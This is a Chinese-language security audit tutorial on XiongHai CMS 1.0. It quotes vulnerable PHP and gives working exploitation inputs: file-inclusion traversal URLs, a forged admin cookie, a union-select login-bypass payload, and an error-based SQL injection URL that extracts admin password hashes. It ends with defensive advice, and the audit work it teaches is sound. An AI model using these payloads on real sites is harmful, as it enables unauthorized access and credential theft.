代码审计之熊海cms1.0代码审计
字数 1155 2025-08-15 21:33:59
熊海CMS 1.0代码审计与漏洞分析教学文档
一、环境准备
- 操作系统:Windows 7虚拟机
- 开发环境:phpstudy2018
- PHP版本:5.2.17
- Web服务器:Apache
- 目标系统:xhcms_v1.0
二、文件包含漏洞分析
1. 前台文件包含漏洞
漏洞文件:index.php
<?php
error_reporting(0);
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file;
include('files/'.$action.'.php'); //载入相应文件
?>
漏洞分析:
- 使用addslashes()函数过滤输入,防止了单引号、双引号、反斜杠和NULL字符的注入
- 但仍可通过路径遍历和特殊截断方式绕过
利用方法:
- 点号(.)截断:
http://www.xhcms.com/?r=../1.txt. - 斜杠(/)截断(需特定长度205):
http://www.xhcms.com/?r=../1.txt/
2. 后台文件包含漏洞
后台入口文件结构与前台相同,存在相同的文件包含漏洞。
三、认证绕过漏洞
1. Cookie欺骗登录后台
漏洞文件:checklogin.php
<?php
$user=$_COOKIE['user'];
if($user==""){
header("Location: ?r=login");
exit;
}
?>
漏洞分析:
- 仅检查cookie中user字段是否存在,无其他验证
- 可伪造任意user值绕过登录
利用方法:
- 设置cookie:
user=admin
2. 万能密码登录后台
漏洞文件:login.php
<?php
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$query="SELECT * FROM manage WHERE user='$user'";
$result=mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users=mysql_fetch_array($result);
if(!mysql_num_rows($result)) {
// 错误处理
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
// 错误处理
}
// 登录成功
}
?>
漏洞分析:
- 当magic_quotes_gpc=Off时存在SQL注入
- 密码验证在PHP端进行,可构造注入绕过
利用方法:
- 用户名:
1' union select 1,2,3,md5(4),5,6,7,8# - 密码:
4
四、SQL注入漏洞
1. 前台SQL注入
漏洞文件:files/software.php
<?php
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());
?>
漏洞分析:
- 浏览计数处的UPDATE语句未使用单引号保护变量
- 可直接注入
利用方法:
报错注入示例:
http://www.xhcms.com/?r=software&cid=1 or extractvalue(1,concat(0x7e,substr((select group_concat(password) from manage),1,30),0x7e))#
2. 其他注入点
file/content.php存在相同漏洞。
五、XSS漏洞
1. 评论XSS漏洞
漏洞文件:file/submit.php
$content= addslashes(strip_tags($content)); //过滤HTML
漏洞分析:
- 评论内容经过strip_tags和addslashes过滤
- 但昵称字段未充分过滤,仍可XSS
六、防御建议
-
文件包含漏洞防御:
- 使用白名单限制包含文件
- 禁用危险函数如include/require的动态调用
-
认证绕过防御:
- 使用session替代cookie存储认证信息
- 增加token验证
-
SQL注入防御:
- 使用预处理语句
- 统一使用参数化查询
- 对所有输入进行严格过滤
-
XSS防御:
- 对所有输出进行HTML实体编码
- 使用CSP策略限制脚本执行
-
其他建议:
- 升级到最新PHP版本
- 启用magic_quotes_gpc(虽然不推荐作为唯一防护)
- 最小化错误信息暴露
七、总结
熊海CMS 1.0存在多处高危漏洞,包括文件包含、认证绕过、SQL注入和XSS等。这些漏洞主要源于输入验证不充分、认证机制设计缺陷和不当的数据库操作方式。开发者应重视安全编码实践,对所有用户输入进行严格验证和过滤,并采用安全的编程模式。